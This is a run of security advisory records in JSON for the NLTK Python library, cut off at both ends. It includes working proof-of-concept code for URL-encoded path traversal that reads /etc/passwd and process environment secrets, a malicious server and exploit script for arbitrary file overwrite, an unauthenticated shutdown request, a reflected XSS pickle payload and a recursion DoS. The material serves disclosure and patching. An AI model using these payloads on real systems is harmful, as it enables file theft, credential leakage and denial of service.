\"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk \u003c= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n    \"\"\"Test a single traversal variant.\"\"\"\n    try:\n        content = nltk.data.load(payload, format=fmt)\n        if isinstance(content, bytes):\n            preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n        else:\n            preview = content[:200]\n        first_line = preview.split(\"\\n\")[0]\n        print(f\"  [VULN] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Read OK: {first_line}\")\n        return True\n    except Exception as e:\n        print(f\"  [SAFE] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Blocked: {type(e).__name__}: {e}\")\n        return False\n\n\ndef main():\n    print(BANNER)\n    vulns = 0\n\n    # --- Variant 1: URL-encoded absolute path ---\n    print(\"[1] URL-encoded absolute path (%2f = /)\")\n    if test_variant(\n        \"Encoded leading slash bypasses ^/ regex check\",\n        \"nltk:%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 2: Encoded dot-dot traversal ---\n    print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n    if test_variant(\n        \"Encoded dots bypass \\\\.\\\\./ regex check\",\n        \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 3: Literal dots with encoded slash ---\n    print(\"[3] Literal dots with encoded slash (..%2f)\")\n    if test_variant(\n        \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n        \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 4: Read process environment (credential leak) ---\n    print(\"[4] Read /proc/self/environ (credential leakage)\")\n    try:\n        content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n        env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n        print(f\"  [VULN] Leaked {len(env_vars)} environment variables\")\n        for var in env_vars[:3]:\n            if var:\n                key = var.split(\"=\")[0] if \"=\" in var else var\n                print(f\"         {key}=...\")\n        vulns += 1\n    except Exception as e:\n        print(f\"  [SAFE] Blocked: {e}\")\n\n    print()\n\n    # --- Control: verify normal traversal IS blocked ---\n    print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n    test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n    print()\n    print(\"=\" * 51)\n    print(f\" Result: {vulns} bypass variant(s) succeeded\")\n    if vulns \u003e 0:\n        print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n    else:\n        print(\" Status: Not vulnerable\")\n    print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T14:34:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v","https://nvd.nist.gov/vuln/detail/CVE-2026-54293","https://github.com/nltk/nltk/pull/3575","https://access.redhat.com/security/cve/CVE-2026-54293","https://bugzilla.redhat.com/show_bug.cgi?id=2491486","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json","https://access.redhat.com/errata/RHSA-2026:42644","https://github.com/advisories/GHSA-p4gq-832x-fm9v"],"source_kind":"github","identifiers":["GHSA-p4gq-832x-fm9v","CVE-2026-54293"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T15:00:10.007Z","updated_at":"2026-09-03T00:01:06.412Z","epss_percentage":0.00618,"epss_percentile":0.46881,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","url":"https://github.com/advisories/GHSA-469j-vmhf-r6v7","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n  \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7","https://nvd.nist.gov/vuln/detail/CVE-2026-33236","https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a","https://github.com/advisories/GHSA-469j-vmhf-r6v7"],"source_kind":"github","identifiers":["GHSA-469j-vmhf-r6v7","CVE-2026-33236"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-08-15T20:04:53.390Z","epss_percentage":0.00575,"epss_percentile":0.4451,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","url":"https://github.com/advisories/GHSA-jm6w-m3j8-898g","title":"Unauthenticated remote shutdown in nltk.app.wordnet_app","description":"### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n  - The server listens on all interfaces:\n  - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n  - Incoming requests are checked for the exact path:\n  - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n  - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n  - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n  - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\\t{{.Status}}'\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest    Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g","https://nvd.nist.gov/vuln/detail/CVE-2026-33231","https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b","https://github.com/advisories/GHSA-jm6w-m3j8-898g"],"source_kind":"github","identifiers":["GHSA-jm6w-m3j8-898g","CVE-2026-33231"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-08-15T18:03:43.247Z","epss_percentage":0.00875,"epss_percentile":0.55504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","url":"https://github.com/advisories/GHSA-gfwx-w7gr-fvh7","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","description":"### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '\u003cscript\u003ealert(1)\u003c/script\u003e' were not found in the dictionary.\n```\n\u003cimg width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" /\u003e\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\u003cscript\u003ealert(1)\u003c/script\u003e\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \u003cscript\u003ealert(1)\u003c/script\u003e\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:23:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7","https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f","https://nvd.nist.gov/vuln/detail/CVE-2026-33230","https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e","https://github.com/advisories/GHSA-gfwx-w7gr-fvh7"],"source_kind":"github","identifiers":["GHSA-gfwx-w7gr-fvh7","CVE-2026-33230"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.194Z","updated_at":"2026-09-03T00:03:28.713Z","epss_percentage":0.00331,"epss_percentile":0.25524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","url":"https://github.com/advisories/GHSA-rf74-v2fm-23pw","title":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","description":"### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    if _depth \u003e 100:\n        raise ValueError(\"JSON nesting too deep\")\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val, _depth + 1) \n               for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:17:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw","https://nvd.nist.gov/vuln/detail/CVE-2026-66393","https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml","https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder","https://github.com/advisories/GHSA-rf74-v2fm-23pw"],"source_kind":"github","identifiers":["GHSA-rf74-v2fm-23pw","CVE-2026-66393"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.195Z","updated_at":"2026-09-03T00:00:10.078Z","epss_percentage":0.00363,"epss_percentile":0.29101,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","url":"https://github.com/advisories/GHSA-h8wq-7xc4-p3qx","title":"NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()","description":"A vulnerability in the `filestring()` function of the `nltk.util` module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-09T21:31:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0846","https://huntr.com/bounties/007b84f8-418e-4300-99d0-bf504c2f97eb","https://github.com/nltk/nltk/pull/3485","https://github.com/nltk/nltk/commit/b2e1164bf89277f79b65406c829b99fb20ca1974","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-97.yaml","https://github.com/advisories/GHSA-h8wq-7xc4-p3qx"],"source_kind":"github","identifiers":["GHSA-h8wq-7xc4-p3qx","CVE-2026-0846"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-18T02:00:11.532Z","updated_at":"2026-08-28T13:02:44.398Z","epss_percentage":0.00428,"epss_percentile":0.35533,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","url":"https://github.com/advisories/GHSA-68j8-pq59-fqgm","title":"NLTK has a Path Traversal issue","description":"A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T21:32:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0847","https://huntr.com/bounties/fc69914f-36a9-4c18-8503-10013b39f966","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-98.yaml","https://github.com/advisories/GHSA-68j8-pq59-fqgm"],"source_kind":"github","identifiers":["GHSA-68j8-pq59-fqgm","CVE-2026-0847"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.704Z","updated_at":"2026-08-28T13:02:28.588Z","epss_percentage":0.00899,"epss_percentile":0.56929,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 